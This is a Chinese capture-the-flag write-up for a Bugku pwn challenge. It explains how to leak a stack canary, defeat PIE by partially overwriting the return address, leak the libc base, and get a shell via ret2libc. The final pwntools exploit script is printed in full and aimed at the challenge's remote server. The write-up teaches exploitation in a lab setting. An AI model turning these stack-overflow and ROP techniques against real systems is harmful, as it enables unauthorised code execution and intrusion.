Canary&PIE绕过 - bugku
题目涉及绕过canary、PIE保护,未了解两者知识,可到ctf wiki学习。
分析
64位保护全开的程序
IDA打开,main 函数里面调用 vul 后,直接 return 0 退出。
vul 函数业务流程:读入 fpath 地址,输出 fpath 指向的内容,输入note。分析发现 thinking_note 写入时,大于定义的大小,存在栈溢出可能(程序开了canary保护),溢出点请看图。
write_note 部分(after line 33)处理逻辑有点奇怪:当第一次输入的 note 长度不是624时,要求重新输入一次长度最长为 0x270 的 note。这里可用来读取栈上canary值,而绕过canary保护。
leak canary
第一次 note 栈溢出覆写 canary 最低位的\00
,让 puts 顺利打印出 canary 的值。第二次 note 复原被破坏的 canary 值,并覆写 rip 完成 rop。这里第一次栈溢出不会破坏后面几个函数栈中的canary,因为栈是向低地址增长,后面函数栈在 vul栈 的前面(低地址),而栈溢出是向高地址覆写。
首先需要知道 thinking_note 到 canary 的距离。canary 在 rbp 的前面一个内存块中:
1 | High |
thinking_note 在栈中的相对位置为 rbp-0x260。这里也可以利用IDA查看 vul 的栈结构(双击局部变量,打开stack view),得出两个距离。var_8 就是 canary 值。s、r 分别是 rbp、rip 的缩写。
至此程序就等于关闭 canary 保护。泄露canary部分:
1 | print p.recvuntil("path:") |
ret2main
由于程序开启了 PIE 保护,并不能直接将 rip 覆写为 IDA 显示的 vul 地址。但是 PIE 技术存在缺陷,就是某一条指令的后三位十六进制数的地址是不变的。但是我们也只能覆写最后两位,为什么?
checksec 的时候看到了程序是:amd64-64-little,采用小端序存储。高字节存在高地址处,然后栈是从高地址向低地址增长的,ret的末两位(低字节)自然存在栈的低地址处,即靠近rbp的那一头,所以覆盖rbp以后的两位就是覆盖了ret的末两位。举个例子?:
1 | IDA、gdb中显示的: 0x0123456789abcdef |
从例子中可以看到,最后34位是连在一起了,不能单独修改其中的一个。退而求其次,覆写最后两位。ret 的函数可以是 main 或者是 vul 。因为两者地址倒数第三位相同。
ret2main部分代码:
1 | p.recvuntil("(len is 624)\n") |
leak elf_base_addr
拿到程序canary后,就可以顺便把PIE也绕过了,也就是找到程序加载的偏移。在 vul 中栈溢出,打印出 vul ret 值,然后与 0xd2e (call vul 下一行)相减得到偏移值。
至此题目就是一道普通的ret2libc题目,泄露elf偏移部分代码:
1 | print p.recvuntil("path:") |
leak libc_base_addr
两种解决方法:
程序调用了 puts ,也可以覆写 rip 调用 .plt.puts 输出 .got.puts 。两个函数地址需要加上 elf_base_addr 才是当前真实地址。得到 puts 真实地址,就可以计算 libc_base_addr 。
在 vul 中栈溢出,覆写到 main 的 rbp,输出并获取 main ret 的值。这个值一般指向的是 __libc_start_main+240。
经过两次 ROP,main 栈空间会变得混乱,需要结合汇编分析,或者 OD 打断点查需要溢出的长度。因为两次ROP,main 本来只执行一次的 push rbp 却执行了3次,导致栈空间混乱。下图中:黑色为正常情况下的栈空间,蓝色为两次ROP之后的栈空间结构。可以看到,main rip 顶与 vul rip 顶距离为 0x8*4 。
OD打断点,查询到的栈空间结构:
泄露libc部分代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260 + 8*5-1)+"B"
p.send(payload)
p.recvuntil("B")
x = p.recvuntil("please")
print x
main_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))
libc_base = main_abs - 0x20830 #(libc.symbols["__libc_start_main"] + 240)
print hex(main_abs)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += 'a'*0x8
payload += p64(main)
p.send(payload)get_shell payload
ret2main或者ret2vul,输入两次payload,getshell。别忘了gadget也是要加上偏移量的,使用libc中的就将上libc偏移量,使用elf(程序本身)的就加上前面泄露的PIE。
最终EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103#coding:utf-8
#elf => read_note
#libc.so.6 => cp /lib/x86_64-linux-gnu/libc.so.6 libc.so.6
from pwn import *
#==================初始化加载资源===================
context.log_level='info'
p = remote("114.116.54.89", 10000)
libc=ELF("./libc.so.6")
#p = process("./read_note")
#=====================IDA查询地址==================
val_add = 0xd2e
main_add = 0xd20
puts_plt_add = 0x8b0
puts_got_add = 0x202018
pop_rdi_add = 0xe03 #gadget from elf
#===================Round 1 leak canary===========
print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)+"B"
p.send(payload)
print p.recvuntil("B")
canary = u64(p.recv(7).rjust(8,"\x00")) #修复canary最低位
print "cancay:", hex(canary)
x = p.recvline()
#===================Round 1 ret2main==============
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += 'a'*0x8
payload += "\x20"
p.send(payload)
#===================Round 2 leak PIE==============
print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260+7)+"B"
p.send(payload)
print p.recvuntil("B")
x = p.recvline()
val = u64(x[:-1].ljust(8,"\x00"))
print "val:", hex(val)
elf_base = val - val_add
print hex(elf_base)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)
puts_plt = elf_base + puts_plt_add
puts_got = elf_base + puts_got_add
pop_rdi = elf_base + pop_rdi_add
main = elf_base + main_add
#===============Round 3 leak libc_base_addr==========
p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260 + 8*5-1)+"B"
p.send(payload)
p.recvuntil("B")
x = p.recvuntil("please")
print x
main_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))
libc_base = main_abs - (libc.symbols["__libc_start_main"] + 240) #-(libc.symbols["__libc_start_main"] + 240)
print hex(main_abs)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += 'a'*0x8
payload += p64(main)
p.send(payload)
bin_abs = libc_base + next(libc.search("/bin/sh"))
sys_abs = libc_base + libc.symbols["system"]
#===============Round 4 get shell====================
p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
p.send(payload)
p.recv()
p.recvuntil("(len is 624)\n")
p.send('getshell!!!')
p.interactive()